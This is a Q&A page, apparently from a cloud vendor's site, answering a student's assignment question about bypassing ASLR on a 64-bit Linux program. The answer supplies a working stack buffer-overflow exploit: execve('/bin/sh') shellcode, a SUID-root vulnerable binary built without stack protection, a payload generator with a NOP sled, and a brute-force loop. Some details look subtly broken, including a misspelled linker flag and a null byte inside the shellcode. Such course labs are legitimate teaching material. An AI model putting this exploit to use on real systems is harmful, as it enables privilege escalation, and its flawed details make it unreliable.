You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何绕过64位编译C程序的ASLR机制?(课程作业要求10分钟内完成,无需获取root shell,仅需验证地址猜测正确)

Alright, let's break down how to bypass ASLR for a 64-bit compiled program—since you already have the 32-bit workflow nailed down, we’ll adjust things specifically for 64-bit systems while keeping your 10-minute validation goal in mind. The core task here is to guess a valid return address (no root shell needed; we just need to confirm the program doesn’t return normally, proving our address guess landed correctly).

64-bit ASLR Bypass Workflow

1. 64-bit Shellcode (Syscall-Based)

64-bit Linux uses syscall instead of int 0x80 for system calls, and follows a different register calling convention. Here’s a minimal execve-based shellcode (we’ll use this to confirm successful redirection):

const char code[] = 
"\x48\x31\xc0"          // xor rax, rax (zero out rax)
"\x50"                  // push rax (null terminator)
"\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"  // mov rbx, '/bin/sh\x00'
"\x53"                  // push rbx
"\x48\x89\xe7"          // mov rdi, rsp (rdi = pointer to '/bin/sh')
"\x50"                  // push rax (null argument)
"\x57"                  // push rdi (argv array)
"\x48\x89\xe6"          // mov rsi, rsp (rsi = argv)
"\x48\x31\xd2"          // xor rdx, rdx (rdx = envp = null)
"\xb0\x3b"              // mov al, 0x3b (execve syscall number)
"\x0f\x05";             // syscall

2. Environment Setup & 64-bit Compilation

Ensure ASLR is enabled, then compile the vulnerable program with 64-bit flags (default on most modern systems, but we’ll make explicit):

# Confirm ASLR is set to maximum randomization
sudo sysctl -w kernel.randomize_va_space=2
# Compile 64-bit binary with executable stack and no stack protector
gcc -o stack64 -z exestack -fno-stack-protector stack.c
# Optional: Set SUID (matches your 32-bit setup, though not required for validation)
sudo chown root stack64
sudo chmod 4755 stack64

3. Vulnerable Program (stack.c)

Your existing 32-bit vulnerable code works unchanged for 64-bit—the buffer overflow logic is identical; only the stack layout differs:

/* stack.c : vulnerable program */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void foo(char *str) {
    char buffer[100];
    /* Buffer overflow vulnerability */
    strcpy(buffer, str);
    return;
}
int main(int argc, char **argv) {
    char str[400];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    if (badfile == NULL) {
        perror("fopen");
        exit(1);
    }
    fread(str, sizeof(char), 300, badfile);
    fclose(badfile);
    foo(str);
    printf("Returned Properly\n");
    return 0;
}

4. Malicious File Generation (64-bit Adjustments)

64-bit uses 8-byte addresses, so we’ll tweak the Python script to handle 8-byte return addresses and a longer NOP sled (to increase the chance of hitting our guess):

# Define the 64-bit shellcode
shellcode = b"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"

# Create a 300-byte buffer filled with NOPs (0x90)
content = bytearray(0x90 for _ in range(300))

# Place shellcode at the end of the buffer
start_idx = 300 - len(shellcode)
content[start_idx:] = shellcode

# Calculate return address offset:
# In foo(), buffer[100] + 8-byte RBP = 108 bytes to the return address
# Adjust the base address based on gdb observations (see tip below)
ret_addr = 0x7ffeabcdef12 + 50  # Tweak this to your observed stack range
# Write 8-byte return address in little-endian
content[108:108+8] = ret_addr.to_bytes(8, byteorder='little')

# Save to badfile
with open('badfile', 'wb') as f:
    f.write(content)

5. Loop Execution Script (64-bit)

Use this script to repeatedly test your address guess—success is when the program doesn’t print "Returned Properly":

#!/bin/bash
SECONDS=0
attempts=0
while true
do
    attempts=$((attempts + 1))
    duration=$SECONDS
    mins=$((duration / 60))
    secs=$((duration % 60))
    echo "Elapsed: $mins mins $secs secs | Total Attempts: $attempts"
    ./stack64
done

Pro Tips for Beating the 10-Minute Clock

  • Narrow the Address Range: Run the program in gdb a few times and run p $rsp to check stack addresses. 64-bit ASLR randomizes a subset of the stack address—you’ll likely see a fixed prefix like 0x7ffeXXXX, so focus your guesses within that range.
  • Lengthen the NOP Sled: Increase the NOP sled to 250 bytes (reduce shellcode space if needed). A longer sled means your address guess only needs to land somewhere in the sled, not exactly on the shellcode.
  • Quick Validation: You don’t need a shell to succeed. If the program fails to print "Returned Properly", your address guess was correct—you’ve bypassed ASLR.

内容的提问来源于stack exchange,提问作者강신호

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.27 12:32:32